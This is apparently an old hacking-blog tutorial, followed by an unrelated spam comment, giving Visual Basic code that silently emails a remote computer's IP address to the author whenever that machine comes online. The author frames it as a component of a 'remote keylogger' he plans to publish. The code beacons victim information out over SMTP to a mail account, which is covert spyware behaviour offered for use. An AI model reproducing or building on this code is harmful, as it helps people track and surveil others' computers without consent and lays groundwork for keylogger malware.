What we will accomplish today is to make our program email the ip of a remote computer when ever they logon to the net, which has lots of uses. Like in my remote keylogger which i will post soon.
You will need:
A smtp control get by http://kensoft.netfirms.com/downloads/smtp.zip (only like 6kbs). You will have to have some VB programming skills. If you don’t then you should read up or wait for BotHack to soon post about them
Like always I will put the code then try to explain.
'general Option Explicit Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Function Senmail() Dim c As Long For c = 1 To 30 'check 30 times Dim ipadd As String ipadd = Winsock.LocalIP 'get local ip If ipadd <> "127.0.0.1" Then 'if your ip is not the default then you are online With SMTP .Server = "mail.hotmail.com" 'yeah hotmail opened their server to spam mers.Port = 25 .MailFrom = "yourname@yahoo.com" 'using hotmail can be from anyhere .MailTo = "receivers_name@hotmail.com" 'must be hotmail cause hotmail don't allow mail relaying to other domains .NameFrom = "Me" .NameTo = "You" .Subject = "Test mail from h43k4z" .Body = "test" 'can be string or read a text file to a variable and send it .SendMail End 'once it sends it will terminate End With Else 'If you are not on line then sleep Sleep 199999 ipadd = "" 'clear ipadd to check for a fresh one End If Next c 'go trough the entire thing again End End Function
Well I decided to put the comments along the side cause it is really self explanatory,
what is hard here is the smtp control you will add to the project. What I can tell you is to look over it and it will all make sense to you. I got it from http://www.vbwinsock.com. This program has one problem and that is if the user is on a network it will not work properly cause their ip will not be 127.0.0.1, if this is the case then you will have to try with the api to check for internet connection which is also buggy. You can get the smtp control by Smtp Control.
Related posts:






March 22, 2008 at 11:10 am
ahamdto
May 7, 2010 at 3:05 pm
I must say that your own blogging site is awfully insightful. I’ve been shelling out a whole lot of time in the last couple months looking at just what exactly is available consistent with the actual fact that I’m organizing to launch a blog site. The tips you have put together here is more or less to the point. It just seems so difficult to understand regarding all the technologies that are in existence, but I like the way your is visually. Gotta adore where technological innovation has come throughout the last 9 years.